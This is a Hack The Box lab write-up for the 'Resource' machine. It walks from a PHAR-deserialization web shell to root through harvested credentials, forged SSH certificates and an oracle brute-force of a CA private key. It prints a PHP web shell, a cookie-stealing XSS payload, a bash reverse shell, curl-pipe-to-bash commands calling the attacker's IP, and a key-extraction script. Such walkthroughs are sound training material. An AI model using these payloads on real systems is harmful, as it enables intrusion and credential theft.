> m4rt@CTF_ARCHIVE:~$

Hack The Box / LINUX / 2026-03-27

Hack The Box — Resource (Linux)

File upload PHAR deserialization for initial RCE, credential harvesting from DB and HAR data, SSH certificate abuse across host boundaries, and CA private key brute-force via privileged signing script to root.

Target

  • IP: 10.129.37.152

Recon

sudo nmap -sC -sV 10.129.37.152 -p- -v -T5
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey:
|   256 d5:4f:62:39:7b:d2:22:f0:a8:8a:d9:90:35:60:56:88 (ECDSA)
|_  256 fb:67:b0:60:52:f2:12:7e:6c:13:fb:75:f2:bb:1a:ca (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://itrc.ssg.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
2222/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 f2:a6:83:b9:90:6b:6c:54:32:22:ec:af:17:04:bd:16 (ECDSA)
|_  256 0c:c3:9c:10:f5:7f:d3:e4:a8:28:6a:51:ad:1a:e1:bf (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Add itrc.ssg.htb to /etc/hosts. Go to http://itrc.ssg.htb/. It is a PHP website. Register and login.

ffuf -u 'http://itrc.ssg.htb/?page=FUZZ' -w /home/kali/SecLists/Discovery/Web-Content/raft-small-words.txt  -b 'PHPSESSID=bf522ac5fd373db9d3fcb8a7861af6c5' -t 50 -fw 291
admin                   [Status: 200, Size: 1331, Words: 136, Lines: 26, Duration: 54ms]
register                [Status: 200, Size: 2842, Words: 255, Lines: 45, Duration: 73ms]
logout                  [Status: 200, Size: 2627, Words: 196, Lines: 39, Duration: 71ms]
index                   [Status: 200, Size: 2276, Words: 158, Lines: 35, Duration: 165ms]
login                   [Status: 200, Size: 2709, Words: 239, Lines: 44, Duration: 159ms]
db                      [Status: 200, Size: 2276, Words: 158, Lines: 35, Duration: 59ms]
dashboard               [Status: 200, Size: 1331, Words: 136, Lines: 26, Duration: 64ms]
ticket                  [Status: 200, Size: 1331, Words: 136, Lines: 26, Duration: 58ms]
loggedin                [Status: 200, Size: 1331, Words: 136, Lines: 26, Duration: 95ms]

Ticket upload issues and PHAR RCE

Create a ticket and add a comment. Intercept with Burp and send to Repeater. The ZIP filename is XSS-injectable. Example modified filename:

Content-Disposition: form-data; name="attachment"; filename="<img src=x onerror=this.src='http:'+String.fromCharCode(47,47)+'10.10.14.120'+String.fromCharCode(47)+'?c='+document.cookie>.zip"
Content-Type: application/zip

There is also IDOR: comments can be added to arbitrary tickets. However this is not useful for browser-based admin cookie theft in this case.

We can exploit PHAR deserialization. Create shell.php:

<?php system($_GET["cmd"]); ?>

Create ZIP:

zip test.zip shell.php

Create ticket with malicious ZIP and note uploaded file hash. Then browse:

http://itrc.ssg.htb/?page=phar://uploads/c98be02348a71bc03c1604412cbd91396ca25e7c.zip/shell&cmd=whoami

We get www-data.

Reverse shell

nc -vlnp 4444

Create rev file:

bash -i >& /dev/tcp/10.10.14.120/4444 0>&1
python3 -m http.server 80

Trigger:

http://itrc.ssg.htb/?page=phar://uploads/c98be02348a71bc03c1604412cbd91396ca25e7c.zip/shell&cmd=curl%20http://10.10.14.120/rev|bash

We get reverse shell.

DB credentials and user mining

cat db.php
$dsn = "mysql:host=db;dbname=resourcecenter;";
$dbusername = "jj";
$dbpassword = "ugEG5rR5SG8uPd";
$pdo = new PDO($dsn, $dbusername, $dbpassword);

Upgrade shell:

script -qc /bin/bash /dev/null
# CRTL+z
stty raw -echo
fg
mysql -h db -u jj -p

Enter password above.

use resourcecenter;
show tables;
select * from users;
zzinter:$2y$10$VCpu.vx5K6tK3mZGeir7j.ly..il/YwPQcR2nUs4/jKyUQhGAriL2
msainristil:$2y$10$AT2wCUIXC9jyuO.sNMil2.R950wZlVQ.xayHZiweHcIcs9mcblpb6
mgraham:$2y$10$4nlQoZW60mVIQ1xauCe5YO0zZ0uaJisHGJMPNdQNjKOhcQ8LsjLZ2
kgrant:$2y$10$pLPQbIzcehXO5Yxh0bjhlOZtJ18OX4/O4mjYP56U6WnI6FvxvtwIm
bmcgregor:$2y$10$nOBYuDGCgzWXIeF92v5qFOCvlEXdI19JjUZNl/zWHHX.RQGTS03Aq
cgxllxtxbr:$2y$10$dhWgauaX5rWlSMFBC1e2dedv0ePpBDtBOY7eVkcI2npSjsNt0hvB2
ucvjlpbfnn:$2y$10$VCZJdE/UWFmGMG7/vo725.jgvv1oyrqwYtAkKnlK91wT4zmLoeBpm
cozapndgfj:$2y$10$DdSbELDiuxPH3Uvfqn/dlegaGQ3VtAOICyXGTVeoKNptdL8r90H7y
hashcat -a 0 -m 3200 ./hash ./rockyou.txt --username

No cracks.

select * from tickets;
select * from messages;

There are interesting ZIP files. One contains itrc.ssg.htb.har.

cat itrc.ssg.htb.har | grep -i msainristil
"text": "user=msainristil&pass=82yards2closeit",
ssh msainristil@itrc.ssg.htb

Use password found above.

SSH cert abuse to root on first host

cd decommission_old_ca
ls
ca-itrc  ca-itrc.pub

Download keys.

ssh-keygen -f mykey -C 'root@itrc.ssg.htb'
ssh-keygen -s ./ca-itrc -I hello -n root mykey.pub
ssh -i mykey root@itrc.ssg.htb

We get root shell, but no root flag there.

Pivot to second host and support account

cd /home/zzinter

There is file sign_key_api.sh. We notice virtual host signserv.ssg.htb. Add it to /etc/hosts. Copy script to attacker machine and make executable:

chmod +x sign_key_api.sh
ssh-keygen -f mykey_2
./sign_key_api.sh mykey_2.pub support support > mycert
ssh -o CertificateFile=./mycert -i mykey_2 support@itrc.ssg.htb -p 2222

We get shell as support.

cd /etc/ssh/auth_principals
ls
root  support  zzinter
cat root
root_user
cat zzinter
zzinter_temp

Add those principals to local sign_key_api.sh, then:

ssh-keygen -f mykey_3
./sign_key_api.sh mykey_3.pub zzinter zzinter_temp > mycert_3
ssh -o CertificateFile=./mycert_3 -i mykey_3 zzinter@itrc.ssg.htb -p 2222

We get shell as zzinter.

sudo -l
Matching Defaults entries for zzinter on ssg:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User zzinter may run the following commands on ssg:
    (root) NOPASSWD: /opt/sign_key.sh

Extract CA key by oracle brute-force

Inspect script logic and note:

cat /opt/sign_key.sh
itca=$(cat /etc/ssh/ca-it)
ca=$(cat "$ca_file")
if [[ $itca == $ca ]]; then
    echo "Error: Use API for signing with this CA."
    usage
fi

We cannot read /etc/ssh/ca-it directly. But this behavior can be used as an oracle to brute-force CA private key content.

ssh-keygen -f test

Create brute.py:

import os
import string
import subprocess

d = string.ascii_letters + string.digits + '=+/\n'

s = ''
while True:
        for c in d:
                with open('ca_key', 'wt') as f:
                        f.write('-----BEGIN OPENSSH PRIVATE KEY-----\n')
                        f.write(s + c + '*')
                        f.write('\n-----END OPENSSH PRIVATE KEY-----\n')
                ret = subprocess.run('sudo /opt/sign_key.sh ca_key test.pub support support 1', shell=True, stdout=subprocess.PIPE, stderr=subprocess.DEVNULL).stdout.decode()
                if  'Error: Use API' in ret:
                        s += c
                        print(s)
                        break
        else:
                s = f'-----BEGIN OPENSSH PRIVATE KEY-----\n{s}\n-----END OPENSSH PRIVATE KEY-----\n'
                print(s)
                with open('ca_key', 'wt') as f:
                        f.write(s)
                break
python3 brute.py

This gives ca_key private key.

ssh-keygen -s ca_key -z 200 -I root -V -1w:forever -n root_user test.pub
ssh -i test root@localhost -p 2222

We get a root shell.